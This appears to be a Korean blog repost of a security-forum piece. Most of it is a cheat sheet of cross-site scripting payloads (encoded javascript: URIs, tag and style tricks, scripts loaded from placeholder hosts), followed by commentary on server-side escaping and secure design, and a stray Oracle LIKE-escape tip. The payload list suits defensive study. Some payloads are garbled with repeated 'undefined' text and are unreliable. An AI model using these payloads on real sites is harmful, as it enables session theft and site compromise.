      <IMG SRC="javascript:alert(&quot;XSS&quot;)>
      <IMG SRC="`javascript:alert("RSnake says, 'XSS'")`>
      <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
      <IMG SRC="javascript:alert(String.fromCharCode(88,83,83)>
      <IMG SRC="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
      <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
      <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
      <IMG SRC="jav ascript:alert('XSS');">
      <IMG SRC="jav&#x09;ascript:alert('XSS');">
      <IMG SRC="jav&#x0A;ascript:alert('XSS');">
      <IMG SRC="jav&#x0D;ascript:alert('XSS');">
      <IMG SRC=" &#14;  javascript:alert('XSS');">
      <IMG SRC="javascript:alert('XSS')"
      <IMG DYNSRC="javascript:alert('XSS')">
      <IMG LOWSRC="javascript:alert('XSS')">
      <IMG SRC='vbscript:msgbox("XSS")'>


[3] Non-alpha-non-digit XSS
      <SCRIPT SRC="http://xxxx/xss.js">>

[4] Title Tag XSS
      <script>alert("XSS");</script>

[5] Input Tag XSS
            <BODY ONLOAD=alert('XSS')>


[7] Meta Tag XSS
      <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
      <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
 

[8] Frame Tag XSS
      <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
      <iframe src="http://xxxx/scriptlet.html <
      <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>


[9] Table Tag XSS
      <TABLE BACKGROUND="javascript:alert('XSS')">
      <TABLE><TD BACKGROUND="javascript:alert('XSS')">


[10] DIV Tag XSS
      <DIV STYLE="background-image: url(javascript:alert()undefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedXSS'))">
      <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
      <DIV STYLE="background-image: url(&#1;javascript:alert()undefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedXSS'))">
      <DIV STYLE="width: expression(alert('XSS'));">
 
[11] Style Tag XSS
      <STYLE>@import'http://xxx/xss.css';</STYLE>
      <XSS STYLE="behavior: url(xss.htc)undefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefined;">
      <STYLE>li {list-style-image: url(javascript:alert()undefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedXSS')");}</STYLE><UL><LI>XSS
      <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
      <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
      <XSS STYLE="xss:expression(alert('XSS'))">
      <STYLE>.XSS{background-image:url(javascript:alert()undefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedXSS')");}</STYLE><A CLASS=XSS></A>
      <STYLE type="text/css">BODY{background:url(javascript:alert()undefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedXSS')")}</STYLE>
 
[12] Various Tag XSS
      <LINK REL="stylesheet" HREF="javascript:alert('XSS');">
      <LINK REL="stylesheet" HREF="http://xxx/xss.css>
      <!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]-->
      <BASE HREF="javascript:alert('XSS');//">
      <EMBED SRC="http://xxxx/xss.swf AllowScriptAccess="always"></EMBED>


[13] Other Types
      <<SCRIPT>alert("XSS");//<</SCRIPT>
      <SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
      \";alert('XSS');//
      ¼script¾alert(¢XSS¢)¼/script¾
      ><script>alert(xss)</script>

</PRE>

오탐이 없는 시그니처를 만들어 냈다고 하더라도
위와같이 수많은 패턴들이 존재하기 때문에 모든 공격을 방어할 수가 없습니다.
 
결국은 서버사이드 스크립트 페이지 레벨에서 막을 수 밖에 없습니다.
html 태그 문자가 입력값에 포함되어 있을 경우 예외 처리를 하는 것이죠.
< → &lt;> → &gt;" → &quot;( → &#40;) → &#41;# → &#35;
 
그런데 무조건 이 룰을 적용할 수는 없습니다.
만일 검색 페이지라면 (주)한국  이라는 검색어로 사용자가 검색을 시도할 경우
&#40;한국&#41; 이라는 문자열로 검색이 될 테니  정상적으로 동작을 안할 수 있는 것이죠.
 
즉 특수문자를 예외처리 하기 이전에 페이지에서 사용하는 비지니스 로직과

이상이 없는지 먼저 판단을 해야 합니다.

그 다음에 작업을 해야 XSS 필터 적용했다가 문제가 발생해서 원복시키는 불상사를 막을 수 있습니다.

실제로 개발팀과 작업을 해 보니 SQL-Injecton 대응때보다 훨씬 시간이 많이들고 어렵더라고요..
 
개발팀에서 가이드한대로 알아서 처리해 주면 좋겠건만.
페이지마다 하나하나 어떻게 하라고 예기를 해 주어야 만족할 만한 수정이 되니까요.
 
역시 결론은 설계시 안전한 설계가 중요하다는 생각입니다.
개발 Rule 에 XSS 대응 관련 Rule 을 포함시키고 취약점이 발견이 되면
개발 Rule을 제대로 준수하지 않은 개발팀에 책임을 전가시키는 것이죠 ㅎㅎㅎ
 
쓰레드를 쓰다 보니 별로 도움이 안되는 결론이네요., 에구궁..
참고로 XSS에 대한 정보는 아래 사이트에서 많이 얻을수가 있습니다.
 
http://www.xssed.com/


 

출처 : http://www.securityplus.or.kr/xe/?document_srl=20235&mid=textyle&vid=bangrip1


Posted by 1010
02.Oracle/DataBase2010. 4. 19. 14:43
반응형
[오라클] like 연산에서 %, _ 문자로 검색하기
like 연산시 %는 모든 문자열을, _는 단일 문자를 나타냅니다.
%와 _가 포함되는 데이타를 조회하려면 escape문자를 지정해주면 됩니다.

select * from 테이블 where 컬럼 like '%KIMONG/_%' escape '/';

위와 같이 하면 컬럼에 KIMONG_가 포함되는 모든 열을 반환합니다.
Posted by 1010